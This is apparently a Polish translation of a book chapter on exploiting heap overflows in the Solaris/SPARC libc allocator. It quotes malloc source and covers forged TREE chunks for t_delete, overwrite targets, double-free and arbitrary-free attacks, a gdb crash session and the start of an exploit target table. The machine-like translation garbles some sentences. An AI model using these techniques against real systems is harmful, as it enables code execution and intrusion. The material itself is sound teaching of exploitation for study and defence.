(void) _mutex_lock(&__malloc_lock);
_free_unlocked(old);
(void) _mutex_unlock(&__malloc_lock);
}
void
_free_unlocked(void *old)
{
int i;
if (old == NULL)
return;
/*
* Make sure the same data block is not freed twice.
* 3 cases are checked. It returns immediately if either
* one of the conditions is true.
* 1. Last freed.
* 2. Not in use or freed already.
* 3. In the free list.
*/
if (old == Lfree)
return;
if (!ISBIT0(SIZE(BLOCK(old))))
return;
for (i = 0; i < freeidx; i++)
if (old == flist[i])
```

```
return;
if (flist[freeidx] != NULL)
realfree(flist[freeidx]);
flist[freeidx] = Lfree = old;
freeidx = (freeidx + 1) & FREEMASK; /* one forward */
}
/*
* cleanfree() frees all the blocks pointed to be flist.
*
* realloc() should work if it is called with a pointer
* to a block that was freed since the last call to malloc() or
* realloc(). If cleanfree() is called from realloc(), ptr
* is set to the old block and that block should not be
* freed since it is actually being reallocated.
*/
static void
cleanfree(void *ptr)
{
char **flp;
flp = (char **)&(flist[freeidx]);
for (;;) {
if (flp == (char **)&(flist[0]))
flp = (char **)&(flist[FREESIZE]);
if (*--flp == NULL)
break;
if (*flp != ptr)
realfree(*flp);
*flp = NULL;
}
freeidx = 0;
Lfree = NULL;
```

```
}
/* Copyright (c) 1988 AT&T */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/*
* Copyright (c) 1996-1997 by Sun Microsystems, Inc.
* All rights reserved.
*/
#pragma ident “@(#)mallint.h 1.11 97/12/02 SMI” /*
SVr4.0 1.2 */
#include < sys/isa_defs.h >
#include < stdlib.h >
#include < memory.h >
#include < thread.h >
#include < synch.h >
#include < mtlib.h
/* debugging macros */
#ifdef DEBUG
#define ASSERT(p) ((void) ((p) || (abort(), 0)))
#define COUNT(n) ((void) n++)
static int nmalloc, nrealloc, nfree;
#else
#define ASSERT(p) ((void)0)
#define COUNT(n) ((void)0)
#endif /* DEBUG */
/* function to copy data from one area to another */
#define MEMCOPY(to, fr, n) ((void) memcpy(to, fr, n))
/* for conveniences */
#ifndef NULL
```

```
#define NULL (0)
#endif
#define reg register
#define WORDSIZE (sizeof (WORD))
#define MINSIZE (sizeof (TREE) - sizeof (WORD))
#define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE))
#ifdef DEBUG32
/*
* The following definitions ease debugging
* on a machine in which sizeof(pointer) == sizeof(int) == 4.
* These definitions are not portable.
*
* Alignment (ALIGN) changed to 8 for SPARC ldd/std.
*/
#define ALIGN 8
typedef int WORD;
typedef struct _t_ {
size_t t_s;
struct _t_ *t_p;
struct _t_ *t_l;
struct _t_ *t_r;
struct _t_ *t_n;
struct _t_ *t_d;
} TREE;
#define SIZE(b) ((b)->t_s)
#define AFTER(b) ((b)->t_p)
#define PARENT(b) ((b)->t_p)
#define LEFT(b) ((b)->t_l)
#define RIGHT(b) ((b)->t_r)
#define LINKFOR(b) ((b)->t_n)
#define LINKBAK(b) ((b)->t_p)
```

```
#else /* !DEBUG32 */
/*
* All of our allocations will be aligned on the least multiple of 4,
* at least, so the two low order bits are guaranteed to be available.
*/
#ifdef _LP64
#define ALIGN 16
#else
#define ALIGN 8
#endif
/* the proto-word; size must be ALIGN bytes */
typedef union _w_ {
size_t w_i; /* an unsigned int */
struct _t_ *w_p; /* a pointer */
char w_a[ALIGN]; /* to force size */
} WORD;
/* structure of a node in the free tree */
typedef struct _t_ {
WORD t_s; /* size of this element */
WORD t_p; /* parent node */
WORD t_l; /* left child */
WORD t_r; /* right child */
WORD t_n; /* next in link list */
WORD t_d; /* dummy to reserve space for self-pointer */
} TREE;
/* usable # of bytes in the block */
#define SIZE(b) (((b)->t_s).w_i)
/* free tree pointers */
#define PARENT(b) (((b)->t_p).w_p)
#define LEFT(b) (((b)->t_l).w_p)
#define RIGHT(b) (((b)->t_r).w_p)
```

```
/* forward link in lists of small blocks */
#define AFTER(b) (((b)->t_p).w_p)
/* forward and backward links for lists in the tree */
#define LINKFOR(b) (((b)->t_n).w_p)
#define LINKBAK(b) (((b)->t_p).w_p)
#endif /* DEBUG32 */
/* set/test indicator if a block is in the tree or in a list */
#define SETNOTREE(b) (LEFT(b) = (TREE *)(-1))
#define ISNOTREE(b) (LEFT(b) == (TREE *)(-1))
/* functions to get information on a block */
#define DATA(b) (((char *)(b)) + WORDSIZE)
#define BLOCK(d) ((TREE *)(((char *)(d)) - WORDSIZE))
#define SELFP(b) ((TREE **)(((char *)(b)) + SIZE(b)))
#define LAST(b) (*((TREE **)(((char *)(b)) - WORDSIZE)))
#define NEXT(b) ((TREE *)(((char *)(b)) + SIZE(b) + WORDSIZE))
#define BOTTOM(b) ((DATA(b) + SIZE(b) + WORDSIZE) == Baddr)
/* functions to set and test the lowest two bits of a word */
#define BIT0 (01) /* ...001 */
#define BIT1 (02) /* ...010 */
#define BITS01 (03) /* ...011 */
#define ISBIT0(w) ((w) & BIT0) /* Is busy? */
#define ISBIT1(w) ((w) & BIT1) /* Is the preceding free? */
#define SETBIT0(w) ((w) |= BIT0) /* Block is busy */
#define SETBIT1(w) ((w) |= BIT1) /* The preceding is free */
#define CLRBIT0(w) ((w) &= ~BIT0) /* Clean bit0 */
#define CLRBIT1(w) ((w) &= ~BIT1) /* Clean bit1 */
#define SETBITS01(w) ((w) |= BITS01) /* Set bits 0 & 1 */
#define CLRBITS01(w) ((w) &= ~BITS01) /* Clean bits 0 & 1 */
#define SETOLD01(n, o) ((n) |= (BITS01 & (o)))
/* system call to get more core */
#define GETCORE sbrk
```

```
#define ERRCORE ((void *)(-1))

#define CORESIZE (1024*ALIGN)

extern void *GETCORE(size_t);

extern void _free_unlocked(void *);

#ifdef _REENTRANT

extern mutex_t __malloc_lock;

#endif /* _REENTRANT */
```

Podstawowym elementem struktury TREE jest WORD o następującej definicji:

```
/* the proto-word; size must be ALIGN bytes */

typedef union _w_ {

size_t w_i; /* an unsigned int */

struct _t_ *w_p; /* a pointer */

char w_a[ALIGN]; /* to force size */

} WORD;
```

ALIGN jest zdefiniowany jako 8 dla 32-bitowej wersji libc, co daje unii całkowity rozmiar 8 bajtów. Struktura węzła w wolnym drzewie jest zdefiniowana w następujący sposób:

```
typedef struct _t_ {

WORD t_s; /* size of this element */

WORD t_p; /* parent node */

WORD t_l; /* left child */

WORD t_r; /* right child */

WORD t_n; /* next in link list */

WORD t_d; /* dummy to reserve space for self-pointer */

} TREE;
```

Ta struktura składa się z sześciu elementów WORD, a zatem ma rozmiar 48 bajtów. To kończy się na minimalnym rozmiarze dla każdego prawdziwego kawałka sterty, w tym podstawowego nagłówka.

Podstawowa metodologia wykorzystania exploitów (t_delete)

Tradycyjna metodologia wykorzystywania przepełnienia sterty w systemie Solaris opiera się na konsolidacji porcji. Przepełnienie poza granice bieżącej porcji powoduje uszkodzenie nagłówka następnej porcji w pamięci. Kiedy uszkodzona porcja jest przetwarzana przez procedury zarządzania stertą, osiągane jest arbitralne nadpisywanie pamięci, które ostatecznie prowadzi do wykonania kodu powłoki. Przepełnienie powoduje zmianę rozmiaru następnej porcji. Jeśli zostanie nadpisany odpowiednią wartością ujemną, następna porcja zostanie znaleziona dalej w łańcuchu przepełnienia. Jest to przydatne, ponieważ ujemna wielkość porcji nie zawiera żadnych bajtów null i może być

kopiowana przez funkcje biblioteki ciągów. Strukturę DRZEWA można zbudować dalej w ciągu przelewu. Może to działać jako fałszywa porcja, z którą uszkodzona porcja zostanie skonsolidowana. Najprostszą konstrukcją tego fałszywego fragmentu jest ta, która powoduje wywołanie funkcji t_delete(). Metodologia ta została po raz pierwszy opisana w artykule w Phrack #57 zatytułowanym „Once Upon a free()" (11 sierpnia 2001). Poniższe fragmenty kodu można znaleźć w malloc.c i mallint.h. W ramach realfree():

```
/* see if coalescing with next block is warranted */

np = NEXT(tp);

if (!ISBIT0(SIZE(np))) {

if (np != Bottom)

t_delete(np);
```

And the function t_delete():

```
/*

* Delete a tree element

*/

static void

t_delete(TREE *op)

{

TREE *tp, *sp, *gp;

/* if this is a non-tree node */

if (ISNOTREE(op)) {

tp = LINKBAK(op);

if ((sp = LINKFOR(op)) != NULL)

LINKBAK(sp) = tp;

LINKFOR(tp) = sp;

return;

}
```

Some relevant macros are defined as:

```
#define SIZE(b) (((b)->t_s).w_i)

#define PARENT(b) (((b)->t_p).w_p)

#define LEFT(b) (((b)->t_l).w_p)

#define RIGHT(b) (((b)->t_r).w_p)

#define LINKFOR(b) (((b)->t_n).w_p)
```

#define LINKBAK(b) (((b)->t_p).w_p)

#define ISNOTREE(b) (LEFT(b) == (TREE *)(-1))

Jak widać w kodzie, struktura TREE op jest przekazywana do t_delete(). Ta struktura op to fałszywy fragment skonstruowany i wskazany przez przepełnienie. Jeśli ISNOTREE() jest prawdziwe, to dwa wskaźniki tp i sp zostaną pobrane z fałszywej struktury TREE op. Te wskaźniki są całkowicie kontrolowane przez atakującego i są wskaźnikami struktury TREE. Każde pole jest ustawione jako wskaźnik do innej struktury TREE. Makro LINKFOR odnosi się do pola t_n w strukturze TREE, które znajduje się w przesunięciu o 32 bajty w strukturze, natomiast makro LINKBAK odnosi się do pola t_p znajdującego się 8 bajtów w strukturze. ISNOTREE jest prawdziwe, jeśli pole t_l struktury TREE wynosi -1, a to pole znajduje się 16 bajtów w strukturze. Chociaż może się to wydawać nieco mylące, ostateczny wynik poprzedniego kodu jest następujący:

1. Jeżeli pole t_l operacji TREE jest równe –1, powstają kroki wynikowe. To pole jest przesunięte o 16 bajtów w strukturze.

2. Wskaźnik TREE tp jest inicjowany przez makro LINKBAK, które pobiera pole t_p z op. To pole jest przesunięte o 8 bajtów w strukturze.

3. Wskaźnik TREE sp jest inicjowany przez makro LINKFOR, które pobiera pole t_n z op. To pole jest przesunięte o 32 bajty w strukturze.

4. Pole t_p sp jest ustawiane na wskaźnik tp za pomocą makra LINKBAK. To pole znajduje się w przesunięciu o 8 bajtów w strukturze.

5. Pole t_n w tp jest ustawiane na wskaźnik sp za pomocą makra LINKFOR. To pole znajduje się w przesunięciu o 32 bajty w strukturze.

Kroki 4 i 5 są najbardziej interesujące w tej procedurze i mogą skutkować zapisaniem dowolnej wartości pod dowolnym adresem w sytuacji, która najlepiej opisuje sytuację wzajemnych zapisów. Ta operacja jest analogiczna do usuwania wpisu w środku podwójnie połączonej listy i ponownego łączenia sąsiednich elementów. Konstrukcja struktury TREE, która może to osiągnąć, wygląda jak poniżej:

FF FF FF F8 AA AA AA AA TP TP TP TP AA AA AA AA

FF FF FF FF AA AA AA AA AA AA AA AA AA AA AA AA

SP SP SP SP AA AA AA AA AA AA AA AA AA AA AA AA

Poprzednia konstrukcja TREE spowoduje, że wartość tp zostanie zapisana do sp plus 8 bajtów, a wartość sp zostanie zapisana do tp plus 32 bajty. Na przykład sp może wskazywać na lokalizację wskaźnika funkcji minus 7 bajtów, a tp może wskazywać na lokalizację zawierającą sanki NOP i kod powłoki. Kiedy kod w t_delete jest wykonywany, wskaźnik funkcji zostanie nadpisany wartością tp, która wskazuje na szelkod. Jednak wartość 32 bajtów w szelkodzie zostanie również nadpisana wartością sp. Wartość 16 bajtów w strukturze drzewa FF FF FF FF to -1 potrzebne do wskazania, że ta struktura nie jest częścią drzewa. Wartość przy zerowym przesunięciu FF FF FF F8 to rozmiar porcji. Wygodnie jest ustawić tę wartość ujemną, aby uniknąć bajtów null; jednak może to być dowolny realistyczny rozmiar kawałka, pod warunkiem, że nie są ustawione dwa najniższe bity. Jeśli pierwszy bit jest ustawiony, oznaczałoby to, że porcja była używana i nie nadaje się do konsolidacji. Drugi bit również powinien być jasny, aby uniknąć konsolidacji z poprzednim kawałkiem. Wszystkie bajty wskazane przez AA są wypełniaczami i mogą mieć dowolną wartość.

Standardowe ograniczenia przepełnienia sterty

Wcześniej dotknęliśmy pierwszego ograniczenia mechanizmu przepełnienia sterty usuwania niebędącego drzewem. 4-bajtowa wartość w przewidywalnym przesunięciu w kodzie powłoki jest uszkodzona w wolnej operacji. Praktycznym rozwiązaniem jest użycie dopełnienia NOP, które składa się z operacji rozgałęzienia, które przeskakują do przodu o ustaloną odległość. Można to wykorzystać, aby ominąć uszkodzenie, które występuje przy wzajemnym zapisie i kontynuować normalne wykonywanie szelkodu. Jeśli możliwe jest dołączenie co najmniej 256 instrukcji dopełniania przed szelkodem, następująca instrukcja rozgałęzienia może zostać użyta jako instrukcja dopełnienia w przepełnieniach sterty. Przeskoczy do przodu 0x404 bajtów, omijając modyfikację dokonaną przez wzajemny zapis. Odległość rozgałęzienia jest duża, aby uniknąć bajtów o wartości null, ale jeśli bajty null mogą być zawarte w kodzie powłoki, to na wszelki wypadek zmniejsz odległość rozgałęzienia.

#define BRANCH_AHEAD „\x10\x80\x01\x01”

Zauważ, że jeśli zdecydujesz się nadpisać adres powrotu na stosie, element sp struktury TREE musi wskazywać tę lokalizację minus 8 bajtów. Nie można wskazać członowi tp lokalizacji powrotu minus 32 bajty, ponieważ spowodowałoby to nadpisanie wartości pod nowym adresem powrotu plus 8 bajtów wskaźnikiem, który nie jest prawidłowym kodem. Pamiętaj, że ret jest tak naprawdę syntetyczną instrukcją, która wykonuje jmpl %i7 + 8, %g0. Rejestr %i7 przechowuje adres oryginalnego wywołania, więc wykonanie idzie na ten adres plus 8 bajtów (4 dla wywołania i 4 dla przedziału opóźnienia). Jeśli adres z przesunięciem 8 bajtów do adresu powrotu zostałby nadpisany, byłaby to pierwsza wykonywana instrukcja, powodując na pewno awarię. Jeśli zamiast tego nadpiszesz wartość 32 bajty w szelkodzie i 24 za pierwszą instrukcją, wtedy masz szansę na rozgałęzienie poza uszkodzony adres. Sytuacja wzajemnych zapisów wprowadza inne ograniczenie, które w większości przypadków nie jest krytyczne, ale o którym warto wspomnieć. Zarówno adres docelowy, który jest nadpisywany, jak i wartość używana do nadpisywania, muszą być prawidłowymi adresami możliwymi do zapisu. Oba są zapisywane, a użycie niezapisywalnego obszaru pamięci dla dowolnej wartości spowoduje błąd segmentacji. Ponieważ normalny kod nie jest zapisywalny, uniemożliwia to powrót do ataków typu libc, które próbują wykorzystać istniejący kod znaleziony w przestrzeni adresowej procesu. Innym ograniczeniem wykorzystywania implementacji sterty Solaris jest to, że po zwolnieniu uszkodzonego fragmentu należy wywołać malloc lub realloc. Ponieważ free() tylko umieszcza porcję na wolnej liście, ale w rzeczywistości nie wykonuje na niej żadnego przetwarzania, konieczne jest wywołanie funkcji realfree() dla uszkodzonej porcji. Odbywa się to niemal natychmiast w malloc lub realloc (poprzez cleanfree). Jeśli nie jest to możliwe, uszkodzoną porcję można naprawdę uwolnić, powodując wielokrotne wywoływanie funkcji free() z rzędu. Lista wolnych zawiera maksymalnie 32 wpisy, a gdy jest pełna, każde kolejne free() powoduje usunięcie jednego wpisu z listy wolnych za pomocą funkcji realfree(). Wywołania malloc i realloc są dość powszechne w większości aplikacji i często nie stanowią dużego ograniczenia; jednak w niektórych przypadkach, gdy uszkodzenie sterty nie jest w pełni kontrolowane, trudno jest zapobiec awarii aplikacji przed wystąpieniem wywołania malloc lub realloc. Niektóre znaki są niezbędne do użycia opisanej metody, w tym w szczególności znak 0xFF, który jest niezbędny, aby ISNOTREE() było prawdziwe. Jeśli ograniczenia dotyczące znaków nałożone na dane wejściowe uniemożliwiają użycie tych znaków jako części przepełnienia, zawsze można wykonać dowolne nadpisanie, korzystając z kodu znajdującego się dalej w t_delete(), jak również t_splay(). Ten kod przetworzy strukturę TREE tak, jakby faktycznie była częścią wolnego drzewa, co znacznie komplikuje nadpisanie. Więcej ograniczeń zostanie nałożonych na wpisywane wartości i adresy.

Cele do nadpisania

Możliwość nadpisania 4 bajtów pamięci w dowolnej lokalizacji jest wystarczająca, aby spowodować wykonanie dowolnego kodu; jednak atakujący musi dokładnie określić, co jest nadpisywane, aby to osiągnąć. Nadpisanie licznika zapisanego programu na stosie jest zawsze realną opcją, zwłaszcza jeśli

atak może się powtórzyć. Niewielkie różnice w argumentach wiersza poleceń lub zmiennych środowiskowych mają tendencję do nieznacznego przesuwania adresów stosu, co powoduje, że różnią się one w zależności od systemu. Jeśli jednak atak nie jest jednorazowy lub atakujący ma konkretną wiedzę na temat systemu, możliwe jest pomyślne nadpisanie stosu. W przeciwieństwie do wielu innych platform, kod w tabeli Procedure Linkage Table (PLT) w systemie Solaris/SPARC nie wyłuskuje wartości z tabeli Global Offset Table (GOT). W rezultacie nie ma wielu wygodnych wskaźników funkcji do zastąpienia. Po rozwiązaniu leniwego wiązania odwołań zewnętrznych na żądanie i po rozwiązaniu odwołań zewnętrznych, PLT jest inicjowany w celu załadowania adresu odwołania zewnętrznego do %g1, a następnie JMP na ten adres. Chociaż niektóre ataki umożliwiają nadpisywanie PLT instrukcjami SPARC, przepełnienia sterty ogólnie temu nie sprzyjają. Ponieważ zarówno elementy tp, jak i sp struktury TREE muszą być poprawnymi adresami zapisywalnymi, możliwość stworzenia pojedynczej instrukcji, która wskazuje na Twój kod powłoki i jest również poprawnym adresem zapisywalnym, jest w najlepszym razie niewielka. Jednak w bibliotekach Solarisa istnieje wiele przydatnych wskaźników funkcji. Proste śledzenie od punktu przepełnienia w gdb prawdopodobnie ujawni przydatne adresy do nadpisania. Prawdopodobnie konieczne będzie utworzenie dużej listy wersji bibliotek, aby exploit był przenośny w wielu wersjach i instalacje Solarisa. Na przykład funkcja mutex_lock jest powszechnie wywoływana przez funkcje libc w celu wykonania kodu, który nie jest bezpieczny dla wątków. Nazywa się natychmiast malloc i jest darmowy, między innymi. Ta funkcja uzyskuje dostęp do tablicy adresów o nazwie ti_jmp_table w sekcji .data biblioteki libc i wywołuje wskaźnik funkcji znajdujący się 4 bajty w tej tablicy. Innym prawdopodobnie przydatnym przykładem jest wskaźnik do funkcji wywoływany, gdy proces wywołuje exit(). Wewnątrz funkcji o nazwie _exithandle, wskaźnik do funkcji jest pobierany z obszaru pamięci w sekcji .data biblioteki libc o nazwie static_mem. Ten wskaźnik funkcji zwykle wskazuje na procedurę fini() wywoływaną przy wyjściu w celu oczyszczenia, ale może zostać nadpisany, aby spowodować wykonanie dowolnego kodu po zakończeniu. Kod taki jak ten jest stosunkowo powszechny w libc i innych bibliotekach Solarisa i zapewnia dobrą okazję do wykonania dowolnego kodu.

Kawałek Bottom

Kawałek Bottom to ostatnia porcja przed końcem sterty i pamięci niestronicowanej. Ta porcja jest traktowana jako przypadek szczególny w większości implementacji sterty i Solaris nie jest wyjątkiem. Część Bottom jest prawie zawsze wolna, jeśli jest obecna, dlatego nawet jeśli jej nagłówek jest uszkodzony, nigdy nie zostanie zwolniona. Alternatywa jest konieczna, jeśli masz pecha, aby móc uszkodzić tylko dolny fragment. Poniższy kod można znaleźć w _malloc_unlocked:

```
/* jeśli nie znaleziono żadnego pasującego do drzewa */

/* if found none fitted in the tree */

if (!sp) {

if (Bottom && size <= SIZE(Bottom)) {

sp = Bottom;

&hellp;

/* if the leftover is enough for a new free piece */

if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) {

n -= WORDSIZE;
```

SIZE(sp) = size;

tp = NEXT(sp);

SIZE(tp) = n|BIT0;

realfree(DATA(tp));

W tym przypadku, jeśli rozmiar fragmentu Bottom został nadpisany rozmiarem ujemnym, funkcja realfree() może zostać wywołana na danych kontrolowanych przez użytkownika z przesunięciem względem fragmentu Bottom. W poprzednim przykładzie kodu sp wskazuje na porcję Bottom o uszkodzonym rozmiarze. Część dolnego fragmentu zostanie zabrana do nowej alokacji pamięci, a nowy fragment tp będzie miał rozmiar ustawiony na n. Zmienna n w tym przypadku to uszkodzony rozmiar ujemny, pomniejszony o rozmiar nowej alokacji i rozmiar WORDSIZE. Realfree() jest następnie wywoływana na nowo skonstruowanym fragmencie, tp, który ma ujemną wielkość. W tym momencie wspomniana wcześniej metodologia przy użyciu t_delete() będzie działać dobrze.

Korupcja małych kawałków

Minimalny rozmiar prawdziwej porcji malloc to 48 bajtów niezbędnych do przechowywania struktury TREE (w tym nagłówka rozmiaru). Zamiast zaokrąglać wszystkie małe żądania malloc do tego dość dużego rozmiaru, implementacja sterty Solaris ma alternatywny sposób radzenia sobie z małymi fragmentami. Każde żądanie malloc() dla rozmiaru mniejszego niż 40 bajtów skutkuje innym przetwarzaniem niż żądania dotyczące większych rozmiarów. Jest to realizowane przez funkcję _smalloc w malloc.c. Obsługiwane są żądania zaokrąglane w górę do 8, 16, 24 lub 32 bajtówprzez ten kod. Funkcja _smalloc alokuje tablicę bloków pamięci o tym samym rozmiarze, aby wypełnić małe żądania malloc. Bloki te są ułożone na połączonej liście, a gdy żądanie alokacji zostanie wykonane dla odpowiedniego rozmiaru, zwracany jest nagłówek połączonej listy. Po zwolnieniu małego fragmentu nie przechodzi on przez normalne przetwarzanie, ale po prostu jest umieszczany z powrotem na właściwej liście linków na początku. Libc utrzymuje bufor statyczny zawierający nagłówki połączonych list. Ponieważ te fragmenty pamięci nie przechodzą przez normalne przetwarzanie, potrzebne są pewne alternatywy, aby poradzić sobie z występującymi w nich przepełnieniami. Poniżej przedstawiono strukturę małego kawałka malloc.

Struktura małego kawałka malloc

Rozmiar WORD (8 bajtów) WORD next (8 bajtów) Dane użytkownika (8, 16, 24 lub 32 bajty)

Ponieważ małe fragmenty różnią się od dużych fragmentów wyłącznie na podstawie ich pola rozmiaru, istnieje możliwość zastąpienia pola rozmiaru małego fragmentu malloc dużym lub ujemnym rozmiarem. Spowodowałoby to przejście przez normalne przetwarzanie porcji po zwolnieniu i umożliwienie standardowych metod eksploatacji sterty. Lista powiązana małych fragmentów malloc pozwala na inny interesujący mechanizm exploitów. W niektórych sytuacjach nie jest możliwe uszkodzenie pobliskich nagłówków porcji danymi kontrolowanymi przez atakującego. Doświadczenie osobiste pokazało, że taka sytuacja nie jest całkowicie rzadka i często występuje, gdy dane, które nadpisują nagłówek fragmentu, są dowolnym ciągiem lub innymi niekontrolowanymi danymi. Jeśli jednak możliwe jest nadpisanie innych części sterty danymi zdefiniowanymi przez atakującego, często można zapisać na listach połączonych małych porcji malloc. Zastępując następny wskaźnik na tej połączonej liście, można sprawić, że malloc() zwróci dowolny wskaźnik w dowolnym miejscu pamięci. Jakiekolwiek dane programu są zapisywane do wskaźnika zwróconego przez malloc(), uszkodzą podany adres. Można to wykorzystać do nadpisania więcej niż 4 bajtów przez przepełnienie sterty i może sprawić, że niektóre inne trudne przepełnienia będą możliwe do wykorzystania.

Inne luki w zabezpieczeniach związane ze stertą

Istnieją inne luki, które wykorzystują struktury danych sterty. Przyjrzyjmy się niektórym z najczęstszych i zobaczmy, jak można je wykorzystać do przejęcia kontroli nad wykonaniem.

Przepełnienie off-by-one

Podobnie jak w przypadku przepełnień stosu jeden po drugim, przepełnienia sterty jeden po drugim są bardzo trudne do wykorzystania w systemie Solaris/SPARC, głównie ze względu na kolejność bajtów. Jeden po drugim na stercie, który zapisuje bajt null poza zakresem, generalnie nie będzie miał żadnego wpływu na integralność sterty. Ponieważ najbardziej znaczący bajt rozmiaru kawałka i tak będzie praktycznie zawsze równy zero, zapisanie jednego bajtu zerowego poza zakresem nie ma na to wpływu. W niektórych przypadkach możliwe będzie zapisanie pojedynczego bajtu poza granicami. Spowodowałoby to uszkodzenie najbardziej znaczącego bajtu rozmiaru porcji. W takim przypadku wykorzystywanie staje się odległą możliwością, w zależności od rozmiaru sterty w miejscu uszkodzenia i tego, czy następny fragment zostanie znaleziony pod poprawnym adresem. W większości przypadków eksploatacja będzie nadal bardzo trudna i nierealistyczna do osiągnięcia.

Podwójne wolne luki

W niektórych przypadkach w systemie Solaris można wykorzystać podwójne wolne luki; jednak szanse na wykorzystanie są zmniejszone przez niektóre sprawdzenia wykonane w _free_unlocked(). To sprawdzanie zostało dodane wprost w celu sprawdzenia podwójnych zwolnień, ale nie jest całkowicie skuteczne. Pierwszą rzeczą, którą sprawdzono, jest to, że zwalniany fragment nie jest Lfree, ostatnim uwolnionym fragmentem. Następnie sprawdzany jest nagłówek fragmentu zwalnianego fragmentu, aby upewnić się, że nie został już zwolniony (musi być ustawiony najniższy bit pola rozmiaru). Trzecie i ostatnie sprawdzenie, aby zapobiec podwójnemu zwolnieniu, określa, że zwalniany fragment nie znajduje się na liście wolnych. Jeśli wszystkie trzy sprawdzenia zakończą się pomyślnie, porcja zostanie umieszczona na liście wolnych i ostatecznie przekazana do funkcji realfree(). Aby możliwe było wykorzystanie podwójnej wolnej luki, konieczna jest wolna lista, która ma zostać opróżniona między pierwszym a drugim wolnym. Może się to zdarzyć w wyniku wywołania malloc lub realloc lub gdy wystąpią 32 kolejne zwolnienia, co spowoduje opróżnienie części listy. Pierwszy wolny musi skutkować konsolidacją fragmentu wstecz z fragmentem poprzedzającym, tak aby oryginalny wskaźnik znajdował się pośrodku prawidłowego fragmentu sterty. Ta poprawna porcja sterty musi zostać ponownie przypisana przez malloc i wypełniona danymi kontrolowanymi przez atakującego. Pozwoliłoby to na ominięcie drugiego sprawdzenia w ramach free() poprzez zresetowanie dolnego bitu rozmiaru porcji. Gdy nastąpi podwójne zwolnienie, wskaże na dane kontrolowane przez użytkownika, co spowoduje arbitralne nadpisanie pamięci. Chociaż ten scenariusz prawdopodobnie wydaje ci się równie mało prawdopodobny, jak mnie, możliwe jest wykorzystanie podwójnej wolnej luki w implementacji sterty Solaris.

Arbitralne wolne luki

Arbitralne wolne luki w zabezpieczeniach odnoszą się do błędów kodowania, które umożliwiają atakującemu bezpośrednie określenie adresu przekazanego do funkcji free(). Chociaż może się to wydawać absurdalnym błędem w kodowaniu, zdarza się to, gdy niezainicjowane wskaźniki są zwalniane lub gdy jeden typ jest mylony z innym, jak w przypadku luki „niewłaściwe zarządzanie połączeniem”. Arbitralne wolne luki są bardzo podobne do standardowych przepełnień sterty w warunkach, w jaki sposób powinien być skonstruowany bufor docelowy. Celem jest osiągnięcie ataku konsolidacyjnego do przodu ze sztucznym kolejnym fragmentem za pomocą t_delete, jak opisano wcześniej szczegółowo. Jednak konieczne jest dokładne określenie lokalizacji konfiguracji porcji w

pamięci, aby uzyskać dowolny wolny atak. Może to być trudne, jeśli fałszywy fragment, który próbujesz uwolnić, znajduje się w jakimś miejscu losowa lokalizacja gdzieś na stercie procesu. Dobrą wiadomością jest to, że implementacja sterty Solarisa nie przeprowadza weryfikacji wskaźnika na wartościach przekazanych do free(). Te wskaźniki mogą znajdować się na stercie, stosie, danych statycznych lub innych regionach pamięci i będą chętnie uwalniane przez implementację sterty. Jeśli możesz znaleźć niezawodną lokalizację w danych statycznych lub na stosie, która zostanie przekazana jako lokalizacja do funkcji free(), zrób to. Implementacja sterty podda go normalnemu przetwarzaniu, które ma miejsce na porcjach, które mają zostać zwolnione, i nadpisze arbitralny adres, który określisz.

Przykład przepełnienia sterty

Po raz kolejny teorie te są łatwiejsze do zrozumienia na prawdziwym przykładzie. Przyjrzymy się łatwemu, najlepiej przygotowanemu exploitowi przepełnienia sterty, aby wzmocnić i zademonstrować omówione do tej pory techniki exploitów.

Wrażliwy program

Po raz kolejny ta luka jest zbyt rażąco oczywista, aby faktycznie istniała we współczesnym oprogramowaniu. Ponownie użyjemy jako przykładu podatnego na ataki pliku wykonywalnego setuid, z opartym na ciągach kopiowaniem przepełnienia z pierwszego argumentu programu. Podatną funkcją jest:

```
int vulnerable_function(char *userinput) {

char *buf = malloc(64);

char *buf2 = malloc(64);

strcpy(buf,userinput);

free(buf2);

buf2 = malloc(64);

return 1;

}
```

Bufor, buf, jest miejscem docelowym dla nieograniczonej kopii ciągu, przepełnionej do wcześniej przydzielonego bufora, buf2. Buf2 bufora sterty jest następnie zwalniany, a kolejne wywołanie malloc powoduje opróżnienie wolnej listy. Mamy dwie zwracane funkcje, więc w razie potrzeby mamy wybór nadpisania zapisanego licznika programu na stosie. Mamy również możliwość nadpisania wspomnianego wcześniej wskaźnika do funkcji wywoływanego jako część wywołania biblioteki exit(). Najpierw uruchommy przepełnienie. Bufor sterty ma rozmiar 64 bajtów, więc po prostu zapisanie do niego 65 bajtów danych ciągu powinno spowodować awarię programu.

```
# gdb ./heap_overflow

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you Are welcome to change it and/or distribute copies of it under certain conditions. Type “show copying” to see the conditions.
```

There is absolutely no warranty for GDB. Type “show warranty” for details. This GDB was configured as “sparc-sun-solaris2.8”...(no debugging symbols found)

(gdb) r `perl -e “print ‘A’ x 64”`

Starting program: /test/./heap_overflow `perl -e “print ‘A’ x 64”`

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program exited normally.

(gdb) r `perl -e “print ‘A’ x 65”`

Starting program: /test/./heap_overflow `perl -e “print ‘A’ x 65”`

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program received signal SIGSEGV, Segmentation fault.

0xff2c2344 in realfree () from /usr/lib/libc.so.1

(gdb) x/i $pc

0xff2c2344 <realfree+116>: ld [%l5 + 8], %o1

(gdb) print/x $l5

$1 = 0x41020ac0

Przy progu 65 bajtów najbardziej znaczący bajt rozmiaru porcji jest uszkodzony przez A lub 0x41, co powoduje awarię funkcji realfree(). W tym momencie możemy rozpocząć konstruowanie exploita, który nadpisuje rozmiar fragmentu rozmiarem ujemnym i tworzy fałszywą strukturę DRZEWA za rozmiarem fragmentu. Exploit zawiera następujące informacje dotyczące platformy:

struct {

char *name;

int buffer_length;

unsigned long overwrite_location;

unsigned long overwrite_value;

int align;

} targets[] = {

{

“Solaris 9 Ultra-Sparc”,

64,

0xffbf1233,

0xffbffcc4,

0

}

};

